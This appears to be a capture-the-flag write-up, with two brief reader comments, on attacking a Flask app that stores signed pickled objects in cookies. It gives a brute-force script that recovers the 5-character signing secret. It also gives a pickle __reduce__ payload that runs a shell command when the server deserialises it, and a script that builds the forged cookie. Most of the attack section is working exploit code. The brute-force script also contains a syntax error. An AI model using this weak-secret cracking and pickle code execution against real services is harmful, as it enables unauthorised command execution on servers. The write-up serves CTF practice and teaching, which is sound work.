This challenge was composed breaking a weak secret for a hashing algorithm followed up by creating a pickled object that would be loaded by the server and execute arbitrary code. The relevant portions of the server are shown below. The server basically stores pickled objects in a cookie by hashing them and comparing the hash to see if it is ok to load the pickled object.
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = pickle.loads(b64d(location))
return location
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
from hashlib import sha256
return sha256("%s%s" % (location, secret)).hexdigest()
def init_secret():
from os import path
import random, string
if not path.exists('secret'):
with open("secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(5))
f.write(secret)
with open("secret", "r") as f:
return f.read()
if __name__ == '__main__':
cookie_secret = init_secret()
app.run()
This shows that the key is generated at run-time and is never regenerated. Therefore, we can store something in the server and get a location/hash combination back, allowing us to brute-force the key (the keyspace is 62^5 ~ 900,000,000). A nice simple python script that finds the key is shown below.
from hashlib import sha256
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
location = '/var/www/flag.txt'
def getKey(init):
count = 0
for i in xrange(len(chars)):
for j in xrange(len(chars)):
for k in xrange(len(chars)):
for l in xrange(len(chars)):
for m in xrange(len(chars)):
if count % 100000 == 0:
print "Have tried", count, "combinations"
count += 1
tmp = chars[i] + chars[j] + chars[k] + chars[l] + chars[m]
update = init.copy()
update.update(tmp)
hashed = update.hexdigest()
if hashed = 'insertyourhashhere':
return tmp
init = sha256(location)
print getKey(init)
This returned the key of 'oIqxe' which we could then use to create our own cookies. At this point, we take advantage of the
insecurities in Python's Pickle module and create a pickle object that will print out what is in /var/www/flag. The script below produces the cookie that wins.
import pickle, base64, subprocess
b64e=base64.b64encode
b64d=base64.b64decode
class PickleCommand(object):
def __reduce__(self):
return (subprocess.check_output, (('cat','/var/www/flag',),))
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
from hashlib import sha256
return sha256("%s%s" % (location, secret)).hexdigest()
todecode = base64.b64encode(pickle.dumps(PickleCommand()))
print todecode
secret = 'oIqxe'
print make_cookie(todecode, secret)
-- suntzu_II
Nice writeup, but for the future, you could take a look at itertools (permutations) so you don't have to nest those loops.
ReplyDeleteCool! I didn't know about itertools. It looks very convenient! Thanks!
Delete